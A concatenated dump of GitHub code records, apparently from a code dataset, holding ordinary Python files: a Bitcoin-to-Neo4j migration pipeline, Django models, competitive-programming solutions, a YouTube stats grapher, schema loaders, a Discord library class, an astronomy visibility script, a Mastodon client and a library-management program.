FileWriteFilter(q5,None)\n\t\n\ttransaction_ordered_dump_filter.start()\n\tprint(\"Run kiya hai vapas... haath mat laga.....\")\n\tprint('Starting Read ')\n\ttransaction_read_filter.start()\n\tprint('Starting Edge Combine ')\n\tedge_combine_filter.start()\n\tprint('Starting Unit Converter ')\n\tbtc_unit_convert_filter.start()\n\tprint('Generating Cypher command')\n\tgenerate_cypher_filter.start()\n\tprint(\"writing to file\")\n\tfile_write_filter.start()\n\t\t\t\t\t\t\t\t\t \n\tfile_write_filter.join()\n\t\ndef raw_ordered_transactions_to_csv_main(start_block,end_block,file_name):\n\tq1 = Queue()\n\tq2 = Queue()\n\ttransaction_ordered_dump_filter = TransactionOrderedDumpFilter(None,q1,start_block,end_block)\n\ttransaction_read_to_csv_filter = ReadTransactionToCsvFilter(q1,q2,file_name)\n\t\n\ttransaction_ordered_dump_filter.start()\n\ttransaction_read_to_csv_filter.start()\n\ttransaction_read_to_csv_filter.join()\n\t\ndef raw_ordered_outputs_to_csv_main(start_block,end_block,file_name):\n\tq1 = Queue(maxsize=100)\n\tq2 = Queue()\n\tq3 = Queue()\n\tq4 = Queue()\n\t\n\ttransaction_ordered_dump_filter = TransactionOrderedDumpFilter(None,q1,start_block,end_block)\n\ttransaction_read_filter = TransactionReadFilter(q1,q2)\n\tedge_combine_filter = EdgeCombineFilter(q2,q3)\n\tbtc_unit_convert_filter = BtcUnitConvertFilter(q3,q4)\n\tread_output_to_csv_filter = ReadOutputToCsvFilter(q4,None,file_name)\n\t\n\ttransaction_ordered_dump_filter.start()\n\ttransaction_read_filter.start()\n\tedge_combine_filter.start()\n\tbtc_unit_convert_filter.start()\n\tread_output_to_csv_filter.start()\n\t\n\tread_output_to_csv_filter.join()\n\t\ndef raw_ordered_addresses_to_csv_main(start_block,end_block,file_name):\n\tq1 = Queue()\n\tq2 = Queue()\n\ttransaction_ordered_dump_filter = TransactionOrderedDumpFilter(None,q1,start_block,end_block)\n\taddress_read_to_csv_filter = ReadAddressToCsvFilter(q1,q2,file_name)\n\t\n\ttransaction_ordered_dump_filter.start()\n\taddress_read_to_csv_filter.start()\n\t\n\taddress_read_to_csv_filter.join()\n\ndef raw_ordered_inputs_to_csv_main(start_block,end_block,file_name):\n\n\tq1 = Queue(maxsize=100)\n\tq2 = Queue()\n\tq3 = Queue()\n\tq4 = Queue()\n\t\n\ttransaction_ordered_dump_filter = TransactionOrderedDumpFilter(None,q1,start_block,end_block)\n\ttransaction_read_mongo_filter = TransactionReadMongoFilter(q1,q2)\n\tedge_combine_filter = EdgeCombineFilter(q2,q3)\n\tbtc_unit_convert_filter = BtcUnitConvertFilter(q3,q4)\n\tread_input_to_csv_filter = ReadInputToCsvFilter(q4,None,file_name)\n\t\n\ttransaction_ordered_dump_filter.start()\n\ttransaction_read_mongo_filter.start()\n\tedge_combine_filter.start()\n\tbtc_unit_convert_filter.start()\n\tread_input_to_csv_filter.start()\n\t\n\tread_input_to_csv_filter.join()\n\t\n\n\ndef populate_utxo_main(start_block,end_block):\n\tq1 = Queue(maxsize=100)\n\n\ttransaction_ordered_dump_filter = TransactionOrderedDumpFilter(None,q1,start_block,end_block)\n\twrite_utxo_filter = WriteUtxoFilter(q1,None)\n\t\n\ttransaction_ordered_dump_filter.start()\n\twrite_utxo_filter.start()\n\t\n\twrite_utxo_filter.join()\n\t\ndef write_to_neo4j():\n\tdirectory = \"query_files\"\n\tcommand = \"cypher-shell -u neo4j -p bctvjti < \"+directory+\"/\"\n\t\n\ti = 0\n\twhile(True):\n\t\tfile_name = \"queries\"+str(i)+\".cypher\"\n\t\tprint(\"Running \"+file_name)\n\t\ttry:\n\t\t\tsubprocess.call(command+file_name,shell=True)\n\t\texcept:\n\t\t\treturn\n\t\ti += 1\n\t\t\ndef api_dump_to_json_main():\n\tq1 = Queue()\n\tq2 = Queue()\n\tq3 = Queue()\n\t\n\ttransactions = dict()\n\tapi_transaction_dump_filter = ApiTransactionDumpFilter(None,q1)\n\tedge_combine_filter = EdgeCombineFilter(q1,q2)\n\tbtc_unit_convert_filter = BtcUnitConvertFilter(q2,q3)\n\n\tapi_transaction_dump_filter.start()\n\tedge_combine_filter.start()\n\tbtc_unit_convert_filter.start()\n\t\n\t\n\tbtc_unit_convert_filter.join()\n\t\n\ttransactions = dict()\n\twhile(not q3.empty()):\n\t\ttransaction = q3.get()\n\t\tif(transaction is None):\n\t\t\tbreak\n\t\ttransactions[transaction[\"hash\"]] = transaction\n\t\t\n\tjson_string = json.dumps(transactions)\n\t\n\tfile = open(\"transactions.json\",\"w\")\n\tfile.write(json_string)\n\tfile.close()\n\t\n\taddresses = set()\n\tfor value in transactions.values():\n\t\tfor inp in value[\"inputs\"]:\n\t\t\taddresses.add(inp[0])\n\t\t\t\n\t\tfor out in value[\"outputs\"]:\n\t\t\taddresses.add(out[0])\n\n\taddresses_info = dict()\n\tfor address in addresses:\n\t\taddresses_info[address] = dict()\n\t\taddresses_info[address][\"in_input\"] = []\n\t\taddresses_info[address][\"in_output\"] = []\n\t\n\t\n\tfor value in transactions.values():\n\t\tfor inp in value[\"inputs\"]:\n\t\t\taddresses_info[inp[0]][\"in_input\"].append((value[\"hash\"],inp[1]))\n\t\t\t\n\t\tfor out in value[\"outputs\"]:\n\t\t\taddresses_info[out[0]][\"in_output\"].append((value[\"hash\"],out[1]))\n\t\t\t\n\tjson_string = json.dumps(addresses_info)\n\t\n\tfile = open(\"addresses_info.json\",\"w\")\n\tfile.write(json_string)\n\tfile.close()\n\n\n\t\t\nif(__name__ == \"__main__\"):\n\tstart_block = int(sys.argv[1])\n\tend_block = int(sys.argv[2])\n\tfile_name = sys.argv[3]\n\n\traw_ordered_inputs_to_csv_main(start_block,end_block,file_name)\n\t\n","repo_name":"pranavn91/blockchain","sub_path":"real_migrate_to_neo4j.py","file_name":"real_migrate_to_neo4j.py","file_ext":"py","file_size_in_byte":24995,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"23513111465","text":"from django.db import models\nfrom myapp.storage import OverwriteStorage\n\n\n\n\n \n\nclass Account(models.Model):\n username=models.CharField(max_length=50)\n follower_count=models.IntegerField(null=True,default=0)\n following_count=models.IntegerField(null=True,default=0)\n post_count=models.IntegerField(null=True,default=0)\n followers = models.ManyToManyField(\"self\",related_name=\"followed_by\",symmetrical=False,blank=True)\n followings = models.ManyToManyField(\"self\",related_name=\"folloing_by\",symmetrical=False,blank=True)\n # requestsofuser=models.FileField(upload_to='Media', null=True)\n image = models.ImageField( max_length=25000, storage=OverwriteStorage(),upload_to='Media', null=True)\n \n text=models.CharField(max_length=1000,null=True,default=\"\")\n date=models.DateTimeField(null=True)\n\n # def __str__(self):\n # return self.name\nclass upimages(models.Model):\n username=models.CharField(null=True,max_length=50)\n images=models.ImageField(null=True,upload_to='Media')\n text=models.CharField(max_length=1000,null=True,default=\"\")\n like_count=models.IntegerField(null=True,default=0 )\n dislike_count = models.IntegerField(null=True,default=0)\n\nclass likefeed(models.Model):\n username=models.CharField(max_length=50)\n like_id=models.CharField(max_length=20000)\n count=models.IntegerField(default=0)\n\nclass dislikefeed(models.Model):\n username=models.CharField(max_length=50)\n dislike_id=models.CharField(max_length=20000)\n count=models.IntegerField(default=0)\n# Create your models here.\n","repo_name":"Priyanshu-pps007/Scribblespace","sub_path":"myapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69972279894","text":"# 3190_뱀\n# https://www.acmicpc.net/problem/3190\n\nimport sys\n\ninput = sys.stdin.readline\n\n\ndef play(board):\n x, y, head, time, tail_idx = 0, 0, 0, 0, 0\n board[0][0] = 0 # 뱀의 몸이 걸치는 곳은 0으로 기록\n snake = [(0, 0)] # 뱀의 몸이 걸쳐있는 좌표를 기록\n\n while True:\n # 1. 몸 길이 늘리기(머리 좌표 이동)\n nx = x + dx[head]\n ny = y + dy[head]\n # 2. 벽이나 자기 몸을 치면 끝내기\n if nx < 0 or nx >= n or ny < 0 or ny >= n or board[nx][ny] == 0:\n return time + 1 # 이동 후에 부딪히므로 1 더하기\n # 3-1. 이동한 칸에 사과 있으면 사과 먹기\n if board[nx][ny] == 1:\n # head 전진\n board[nx][ny] = 0\n # 3-2. 이동한 칸에 사과 없으면 꼬리 길이 줄이기\n elif board[nx][ny] != 1:\n tail = snake[tail_idx]\n board[tail[0]][tail[1]] = -1 # 뱀, 사과 아닌 indicator로 바꾸기\n tail_idx += 1 # 꼬리 다음 위치로 바꾸기\n # head 전진\n board[nx][ny] = 0\n snake.append((nx, ny)) # 이동 후 뱀 몸 좌표 저장\n # 4. 시간 증가\n time += 1\n # 5. 회전\n if time in dir_change:\n head = turn[head][dir_change[time]] # 새로운 머리방향 설정\n # 6. 좌표 갱신\n x, y = nx, ny\n\n\nn = int(input())\nboard = [[-1] * n for _ in range(n)]\ndir_change = dict() # 뱀 회전 저장\n# E: 0, S: 1, W: 2, N: 3\n# 뱀 머리가 E, S, W, N 방향으로 향할 때 이동 방향\ndx = [0, 1, 0, -1]\ndy = [1, 0, -1, 0]\n# (L, D)로 회전했을 때의 뱀의 머리 방향\nturn = {0: (3, 1), 1: (0, 2), 2: (1, 3), 3: (2, 0)}\n\n# 입력받기\napples = int(input())\nfor _ in range(apples):\n i, j = map(int, input().split())\n board[i - 1][j - 1] = 1 # 사과의 위치에 1표시\ndirs = int(input())\nfor _ in range(dirs):\n t, d = input().split()\n if d == \"D\":\n d = 1\n else:\n d = 0\n dir_change[int(t)] = d\n\nprint(play(board))\n","repo_name":"sbtiffanykim/boj","sub_path":"3190.py","file_name":"3190.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21679117807","text":"#\n# @lc app=leetcode id=392 lang=python3\n#\n# [392] Is Subsequence\n#\n# https://leetcode.com/problems/is-subsequence/description/\n#\n# algorithms\n# Medium (46.27%)\n# Total Accepted: 81.2K\n# Total Submissions: 175.5K\n# Testcase Example: '\"abc\"\\n\"ahbgdc\"'\n#\n# \n# Given a string s and a string t, check if s is subsequence of t.\n# \n# \n# \n# You may assume that there is only lower case English letters in both s and t.\n# t is potentially a very long (length ~= 500,000) string, and s is a short\n# string (\n# \n# \n# A subsequence of a string is a new string which is formed from the original\n# string by deleting some (can be none) of the characters without disturbing\n# the relative positions of the remaining characters. (ie, \"ace\" is a\n# subsequence of \"abcde\" while \"aec\" is not).\n# \n# \n# Example 1:\n# s = \"abc\", t = \"ahbgdc\"\n# \n# \n# Return true.\n# \n# \n# Example 2:\n# s = \"axc\", t = \"ahbgdc\"\n# \n# \n# Return false.\n# \n# \n# Follow up:\n# If there are lots of incoming S, say S1, S2, ... , Sk where k >= 1B, and you\n# want to check one by one to see if T has its subsequence. In this scenario,\n# how would you change your code?\n# \n# Credits:Special thanks to @pbrother for adding this problem and creating all\n# test cases.\n#\nclass Solution:\n def isSubsequence(self, s: str, t: str) -> bool:\n import collections\n idx = collections.defaultdict(list)\n for i,c in enumerate(t):\n idx[c].append(i)\n cur = -1\n for c in s:\n if c not in idx: \n return False\n for id in idx[c]:\n if id > cur:\n cur = id\n break\n else:\n return False\n return True\n\n# --solution--\n# idx: 遍历t,记录其中各个字符出现过的位置\n# cur: 遍历s,判断是否存在按s中各字符升序的位置组合(即下面示例中的'1->2->6')\n\n# s='abc'\n# idx={\n# 'a':[1,3],\n# 'b':[2,4,5],\n# 'c':[6,8],\n# ...\n# }\n\n# tips: collections.defaultdict() 语法糖\n","repo_name":"moonwalker12138/leetcode","sub_path":"392.is-subsequence.py","file_name":"392.is-subsequence.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30646189841","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\n\nscript_directory = Path(__file__).parent.absolute()\nrelative_path = Path(\"youtubetopgames.csv\")\nabsolute_path = script_directory / relative_path\n\n# Load the CSV file and parse the DateTime column as a datetime object\ndf = pd.read_csv(absolute_path, parse_dates=['DateTime'])\n\n# Convert viewer figures to integers\ndf['Viewer Figure'] = df['Viewer Figure'].str.replace('K', '000').str.replace('.', '').astype(int)\n\n# Group by game and plot a line graph for each game\nfig, ax = plt.subplots()\nfor game, data in df.groupby('Game'):\n ax.plot(data['DateTime'], data['Viewer Figure'], label=game)\n\n# Add labels and legend\nplt.xlabel('Time')\nplt.ylabel('Viewers')\nplt.legend()\n\n# Show the plot\nplt.show()","repo_name":"orattray/Equity-Research-Scripts-public-","sub_path":"Youtube Streams/YoutubeGrapher OLD.py","file_name":"YoutubeGrapher OLD.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24370842170","text":"\"\"\"\nSchema loading functions from various kinds of files.\n\nThe `Registry` loads schemas based on file paths. To support\nvarious kinds of files (especially tar+gz), it delegates to\ndifferent schmea loading functions based on the file mime type.\n\"\"\"\nfrom contextlib import closing\nfrom gzip import GzipFile\nfrom json import load, loads\nfrom tarfile import TarFile\nfrom tempfile import NamedTemporaryFile\n\nimport magic\n\n\ndef iter_file(filename, mime_types):\n \"\"\"\n Iterate through (the single) schema in a JSON file.\n \"\"\"\n with closing(open(filename)) as fileobj:\n yield load(fileobj)\n\n\ndef iter_gzip(filename, mime_types):\n \"\"\"\n Iterate through all schemas in a gzip file.\n \"\"\"\n with GzipFile(filename, \"r\") as gzipfileobj:\n with NamedTemporaryFile() as fileobj:\n fileobj.write(gzipfileobj.read())\n fileobj.flush()\n for schema in iter_schemas(fileobj.name, mime_types):\n yield schema\n\n\ndef iter_tar(filename, mime_types):\n \"\"\"\n Iterate through all schemas in a tar file.\n \"\"\"\n with closing(TarFile.open(filename)) as tarfile:\n for tarinfo in tarfile:\n if tarinfo.isreg():\n fileobj = tarfile.extractfile(tarinfo)\n data = fileobj.read()\n yield loads(data.decode())\n\n\ndef iter_schemas(filename, mime_types):\n \"\"\"\n Iterate through all schemas in a file.\n \"\"\"\n mime_type = magic.from_file(filename, mime=type)\n iter_func = mime_types.get(mime_type.decode(), iter_file)\n for schema in iter_func(filename, mime_types):\n yield schema\n","repo_name":"locationlabs/jsonschema-types","sub_path":"jsonschematypes/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"16441477987","text":"from typing import Any, Dict\n\nfrom ..flags import UserFlags\nfrom .assets import Asset\nfrom .channel import DMChannel, Messageable\n\n__all__ = (\"User\", \"ClientUser\")\n\n\nclass User(Messageable):\n r\"\"\"Represents a Discord User.\"\"\"\n\n __slots__ = (\n \"id\",\n \"name\",\n \"discriminator\",\n \"bot\",\n \"system\",\n \"flags\",\n \"user_flags\",\n \"accent_colour\",\n \"dm_channel\",\n \"_avatar\",\n \"_banner\",\n \"_connection\",\n )\n\n def __init__(self, connection, payload: Dict[str, Any]):\n self._connection = connection\n self.id = int(payload.pop(\"id\"))\n self.name: str = payload.pop(\"username\")\n self.discriminator: str = payload.pop(\"discriminator\")\n self.bot: bool = payload.pop(\"bot\", False)\n self._avatar: str = payload.pop(\"avatar\", None)\n self._banner: str = payload.pop(\"banner\", None)\n self.accent_colour = payload.pop(\"accent_color\", 0)\n self.flags: UserFlags = UserFlags(payload.pop(\"flags\", 0))\n self.public_flags: UserFlags = UserFlags(payload.pop(\"public_flags\", 0))\n self.dm_channel: DMChannel = None\n\n def __repr__(self) -> str:\n return f\"<{self.__class__.__name__} id = {self.id} name = {self.name} discriminator = {self.discriminator} bot = {self.bot}>\"\n\n def __str__(self) -> str:\n return f\"{self.name}#{self.discriminator}\"\n\n def __eq__(self, other: Any) -> bool:\n return isinstance(other, self.__class__) and self.id == other.id\n\n @property\n def display_name(self) -> str:\n return self.name\n\n @property\n def avatar(self) -> Asset:\n if self._avatar:\n return Asset.user_avatar(self)\n\n @property\n def banner(self) -> Asset:\n if self._banner:\n return Asset.user_banner(self)\n\n async def create_dm(self) -> DMChannel:\n http = self._connection.http\n p = await http.request(\n \"POST\", \"/users/@me/channels\", json={\"recipient_id\": str(self.id)}\n )\n p[\"user\"] = self\n dm = DMChannel(self._connection, p)\n self.dm_channel = dm\n return dm\n\n\nclass ClientUser(User):\n r\"\"\"Represents the User that is connected to the gateway.\"\"\"\n","repo_name":"UnrealFar/Discode","sub_path":"discode/models/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"33714151048","text":"#!/usr/pkg/bin/python3.9\n\n#\n# Time-stamp: <2021/10/02 12:47:55 (CST) daisuke>\n#\n\n# importing astropy module\nimport astropy.time\nimport astropy.units\nimport astropy.coordinates\n\n# importing astroplan module\nimport astroplan\n\n# units\nunit_m = astropy.units.m\n\n# Lulin observatory\nlulin_lon = \"+120d52m25s\"\nlulin_lat = \"+23d28m07s\"\nlulin_elev = 2862 * unit_m\n\n# location object\nlocation = astropy.coordinates.EarthLocation.from_geodetic \\\n (lulin_lon, lulin_lat, lulin_elev)\n\n# observer object\nlulin = astroplan.Observer (location=location, name=\"Lulin\", \\\n timezone=\"Asia/Taipei\")\n\n# target\nlist_target = [\n \"Canopus\",\n \"Betelgeuse\",\n \"Sirius\",\n \"Spica\",\n \"Vega\",\n \"Antares\",\n \"Fomalhaut\",\n \"Polaris\",\n ]\n\n# time\nlist_time = [\n \"2021-01-01T12:00:00\",\n \"2021-04-01T12:00:00\",\n \"2021-07-01T12:00:00\",\n \"2021-11-01T12:00:00\",\n ]\n\n# checking visibility of targets\nfor time_str in list_time:\n # time object\n time = astropy.time.Time (time_str)\n print (\"Visibility of targets at Lulin on %s:\" % time)\n for target in list_target:\n # getting object from name\n obj = astroplan.FixedTarget.from_name (target)\n # checking visibility of the object\n visibility = lulin.target_is_up (time, obj)\n # printing result\n print (\" %10s ==> %s\" % (target, visibility) )\n","repo_name":"kinoshitadaisuke/ncu_astroinformatics_202102","sub_path":"s07_sunandmoon/2021_s07_02.py","file_name":"2021_s07_02.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17130268698","text":"#!/usr/bin/env python3\nfrom getpass import getpass\nimport json\nfrom os import chmod, environ, mkdir, path\n\nimport click\nfrom mastodon import Mastodon\n\n\n# function to set everything up\ndef setup(set_dir):\n api_url = input(\"Enter your instance URL: \")\n user = input(\"Enter your email address: \")\n pw = getpass(\"Password: \")\n client_id, client_secret = Mastodon.create_app('tilde.toot', api_base_url=api_url)\n mastodon = Mastodon(client_id=client_id, client_secret=client_secret, api_base_url=api_url)\n access_token = mastodon.log_in(user, pw)\n m = {\n 'client_id': client_id,\n 'client_secret': client_secret,\n 'api_base_url': api_url,\n 'access_token': access_token\n }\n with open(set_dir, 'w') as json_data:\n json.dump(m, json_data)\n\n@click.command()\n@click.argument('toot_text')\ndef toot(toot_text):\n mastodon.toot(toot_text)\n\nif __name__ == '__main__':\n # Checking and loading the settings file\n home = environ['HOME']\n tootdir = path.join(home, '.toot')\n if not path.isdir(tootdir):\n mkdir(tootdir)\n set_file = path.join(tootdir, 'settings.json')\n if not path.exists(set_file):\n open(set_file, 'w').close()\n chmod(set_file, 0o600)\n setup(set_file)\n\n # Set up the client\n with open(set_file) as json_data:\n m = json.load(json_data)\n mastodon = Mastodon(\n client_id=m['client_id'],\n client_secret=m['client_secret'],\n api_base_url=m['api_base_url'],\n access_token=m['access_token']\n )\n\n # TOOT!\n toot()\n","repo_name":"archangelic/mastodon-client","sub_path":"toot.py","file_name":"toot.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33129718962","text":"import json\nfrom typing import Dict\n\n\ndef _loadFromFile(fileName: str) -> Dict:\n returnValue: list = []\n try:\n with open(fileName, \"r\") as file:\n returnValue = json.load(file)\n except FileNotFoundError:\n print(f\"File '{fileName}' not found!\")\n return None\n finally:\n return returnValue\n\n\ndef _getFileFromCharacteristics(\n hospitalNumber: str = None,\n pathwayName: str = None\n) -> str:\n pathwayDirectory = None\n\n pathwayDirectory = \"lungcancer\" if (\n pathwayName.lower().find(\"lung cancer\") > -1\n ) else pathwayDirectory\n\n pathwayDirectory = \"lymphoma\" if (\n pathwayName.lower().find(\"lymphoma\") > -1\n ) else pathwayDirectory\n\n if not pathwayDirectory:\n return None\n\n fileName = f\"patient{hospitalNumber[-1:]}.json\"\n\n resultData = _loadFromFile(f\"placeholder_data/{pathwayDirectory}/{fileName}\")\n if not resultData:\n return _loadFromFile(f\"placeholder_data/{pathwayDirectory}/fallback.json\")\n\n return resultData\n\n\ndef getTestResultFromCharacteristics(\n typeName: str = None, hospitalNumber: str = None,\n pathwayName: str = None\n) -> str:\n fallbackDescription = (\n \"Vitae itaque illo ut. Non \"\n \"voluptatum aut qui porro dolores autem saepe.\"\n )\n\n resultData = _getFileFromCharacteristics(\n hospitalNumber, pathwayName\n )\n\n if resultData and resultData[typeName]:\n return resultData[typeName]['result']\n\n return fallbackDescription\n","repo_name":"spiritumduo/spiritumDuo","sub_path":"pseudotie/src/placeholder_data/placeholder_data.py","file_name":"placeholder_data.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"71577354452","text":"import os\nimport csv\n\nfrom obj.objektyDanych import Ksiazka\nfrom obj.objektyDanych import Czytacz, Ksiazka\nimport utils.utils as u\nimport utils.constants as c\nimport utils.db as db\n\n\nclass Biblioteka:\n def __init__(self, TEST_MODE) -> None:\n self.ksiazki: list[Ksiazka] = []\n self.czytacze: list[Czytacz] = []\n self.wypozyczoneKsiazki: list[Ksiazka] = []\n self.operacje: list[list] = []\n self.TEST_MODE = TEST_MODE\n\n def __str__(self):\n return (f\"ksiazki: {self.ksiazki}\"\n f\"czytacze: {self.czytacze}\"\n f\"wypozyczoneKsiazki: {self.wypozyczoneKsiazki}\"\n f\"operacje: {self.operacje}\")\n\n @property\n def iloscKsiazek(self):\n return len(self.ksiazki)\n\n @property\n def iloscCzytaczy(self):\n return len(self.czytacze)\n \n def ladujBiblioteke(self) -> None:\n \"\"\"\n Metoda wczytuje dane z plików CSV i dodaje je do biblioteki.\n Wczytywane pliki to biblioteka.csv, czytacze.csv i historia.csv.\n\n Returns:\n None\n \"\"\"\n if os.path.join(c.FOLDER_DANYCH, f\"biblioteka.csv\"):\n with open(os.path.join(c.FOLDER_DANYCH, f\"biblioteka.csv\"), newline='') as csvfile:\n reader = csv.reader(csvfile)\n next(reader)\n for row in reader:\n self.dodajKsiazke(row[1], row[2], row[3], row[4])\n if os.path.join(c.FOLDER_DANYCH, f\"czytacze.csv\"):\n with open(os.path.join(c.FOLDER_DANYCH, f\"czytacze.csv\"), newline='') as csvfile:\n reader = csv.reader(csvfile)\n next(reader)\n for row in reader:\n self.dodajCzytacza(row[1], row[2])\n if os.path.join(c.FOLDER_DANYCH, f\"historia.csv\"):\n with open(os.path.join(c.FOLDER_DANYCH, f\"historia.csv\"), newline='') as csvfile:\n reader = csv.reader(csvfile)\n next(reader)\n for row in reader:\n self.operacje.append(row)\n\n def dodajKsiazke(self, tytul=None, autor=None, rokWydania=None, status=None) -> None:\n \"\"\"\n Funkcja dodajKsiazke dodaje nową książkę do listy książek biblioteki.\n Jeśli brakuje informacji o tytule, autorze lub roku wydania, funkcja\n prosi użytkownika o wprowadzenie odpowiedniej informacji. Funkcja\n waliduje również rok wydania, sprawdzając, czy ma poprawny format.\n Po dodaniu książki do listy, funkcja również loguje informacje o dodanej\n książce do pliku biblioteki.\n\n Args:\n tytul: str (opcjonalny) - tytuł książki\n autor: str (opcjonalny) - autor książki\n rokWydania: str (opcjonalny) - rok wydania książki w formacie \"YYYY\"\n status: str (opcjonalny) - status książki\n \n Returns:\n None\n \"\"\"\n try:\n readInput = False\n if (not tytul):\n tytul = u.czyscWejscie(input(\"Podaj tytuł: \"),\n trybTestowania=self.TEST_MODE)\n readInput = True\n if (not autor):\n autor = u.czyscWejscie(\n input(\"Podaj autora: \"), trybTestowania=self.TEST_MODE)\n readInput = True\n if (not rokWydania):\n rokWydania = u.waliduj_date_z_wejscia(u.czyscWejscie(\n input(\"Podaj rok wydania (w formacie YYYY): \"), trybTestowania=self.TEST_MODE), \"%Y\")\n if not rokWydania:\n raise ValueError(\"Invalid date provided\")\n readInput = True\n self.ksiazki.append(\n Ksiazka(tytul, autor, rokWydania, self.iloscKsiazek, status))\n if (readInput):\n status = \"W bibliotece\"\n db.zapiszDoPliku(os.path.join(c.FOLDER_DANYCH, \"biblioteka.csv\"), [self.iloscKsiazek, tytul,\n autor, rokWydania, status])\n except:\n print(\"Nie udało się dodać książki...\")\n\n def dodajCzytacza(self, imie=None, nazwisko=None) -> None:\n \"\"\"\n Args:\n imie (str, optional): Imię czytacza. Jeśli nie podano, zostanie zapytane\n o nie użytkownika.\n nazwisko (str, optional): Nazwisko czytacza. Jeśli nie podano, zostanie\n zapytane o nie użytkownika.\n\n Returns:\n None\n \"\"\"\n try:\n readinput = False\n if (not imie):\n imie = u.czyscWejscie(input(\"imię: \"), trybTestowania=self.TEST_MODE)\n readinput = True\n if (not nazwisko):\n nazwisko = u.czyscWejscie(\n input(\"nazwisko: \"), trybTestowania=self.TEST_MODE)\n readinput = True\n self.czytacze.append(Czytacz(self.iloscCzytaczy, imie, nazwisko))\n if (readinput):\n db.zapiszDoPliku(os.path.join(c.FOLDER_DANYCH, \"czytacze.csv\"),\n [self.iloscCzytaczy, imie, nazwisko, 0])\n except:\n print(\"Nie udało się dodać czytacza...\")\n\n def wypozyczKsiazke(self) -> None:\n \"\"\"\n Metoda służąca do wypożyczania książki przez czytelnika. Wypożycza\n książkę, którą znajduje po tytule lub indeksie i aktualizuje dane w\n bazie danych.\n\n Returns:\n None\n \"\"\"\n try:\n ksiazka = self.znajdz_ksiazke_wedlug_tytulu_lub_indeksu()\n ksiazka.status = \"Nie w bibliotece\"\n indeksCzytacza = int(u.czyscWejscie(\n input(\"numer czytacza: \"), trybTestowania=self.TEST_MODE))\n imie = u.czyscWejscie(input(\"imię: \"), trybTestowania=self.TEST_MODE)\n nazwisko = u.czyscWejscie(\n input(\"nazwisko: \"), trybTestowania=self.TEST_MODE)\n czytacz = self.znajdzCzytacza(indeksCzytacza)\n if not (czytacz.imie == imie and czytacz.nazwisko == nazwisko):\n raise ValueError(\"Nie znaleziono takiego czytacza.\")\n dataWypozyczenia = u.waliduj_date_z_wejscia(\n u.czyscWejscie(input(\"data wypozyczenia (w formacie yyyy-mm-dd): \"), trybTestowania=self.TEST_MODE))\n if not dataWypozyczenia:\n raise ValueError(\"Invalid date provided\")\n czyUdana = True\n czytacz.wypozyczoneKsiazki.append(ksiazka)\n db.aktualizuj_czytaczy(\n indeksCzytacza, czytacz.iloscWypozyczonychKsiazek)\n db.aktualizuj_biblioteke(ksiazka.indeksKsiazki, ksiazka.status)\n op = [ksiazka.indeksKsiazki, indeksCzytacza,\n czyUdana, dataWypozyczenia, 0]\n self.operacje.append(op)\n db.zapiszDoPliku(os.path.join(c.FOLDER_DANYCH, 'historia.csv'),\n self.operacje[-1])\n except Exception as e:\n data = [ksiazka.indeksKsiazki if 'ksiazka' in locals() else '',\n indeksCzytacza if 'indeksCzytacza' in locals() else '',\n False, dataWypozyczenia if 'dataWypozyczenia' in locals() else '',\n 0]\n self.operacje.append(data)\n db.zapiszDoPliku(os.path.join(c.FOLDER_DANYCH, 'historia.csv'),\n self.operacje[-1])\n print(\"Nie udało się wypożyczyć książki...\", e)\n\n def oddajKsiazke(self) -> None:\n \"\"\"\n Umożliwia użytkownikowi zwrot książki do biblioteki, aktualizuje status\n książki, historię czytelnika i plik biblioteczny.\n\n Returns:\n None\n \"\"\"\n czyUdana = False\n his = [\"\", \"\", czyUdana]\n try:\n ksiazka = self.znajdz_ksiazke_wedlug_tytulu_lub_indeksu()\n his[0] = ksiazka.indeksKsiazki\n dataOddania = u.waliduj_date_z_wejscia(\n u.czyscWejscie(input(\"Podaj datę oddania (w formacie yyyy-mm-dd): \"), trybTestowania=self.TEST_MODE))\n if not dataOddania:\n raise ValueError(\"Invalid date provided\")\n his[1] = dataOddania\n indeksCzytacza = int(u.czyscWejscie(\n input(\"numer czytacza: \"), trybTestowania=self.TEST_MODE))\n for op in self.operacje:\n if (op[0] == str(ksiazka.indeksKsiazki) and op[1] == str(indeksCzytacza)):\n if u.waliduj_date_z_wejscia(op[3]) > dataOddania:\n raise ValueError(\n \"Nie można oddać książki przed datą wypożyczenia\")\n if (ksiazka.status[4] == \"W bibliotece\"):\n raise ValueError(\"Książka już oddana\")\n op[4] = u.date_to_str(dataOddania)\n czytacz = self.znajdzCzytacza(indeksCzytacza)\n for k in czytacz.wypozyczoneKsiazki:\n if k.indeksKsiazki == ksiazka.indeksKsiazki:\n czytacz.wypozyczoneKsiazki.remove(k)\n db.aktualizuj_czytaczy(\n indeksCzytacza, czytacz.iloscWypozyczonychKsiazek)\n db.aktualizuj_biblioteke(ksiazka.indeksKsiazki, \"W bibliotece\")\n czyUdana = True\n op[3] = czyUdana\n except:\n print(\"Nie udało się oddać książki...\")\n finally:\n db.aktualizuj_historie(his[0], his[1], his[2])\n\n def podejrzyjHistorieKsiazki(self) -> None:\n \"\"\"\n Wyświetla historię wypożyczeń 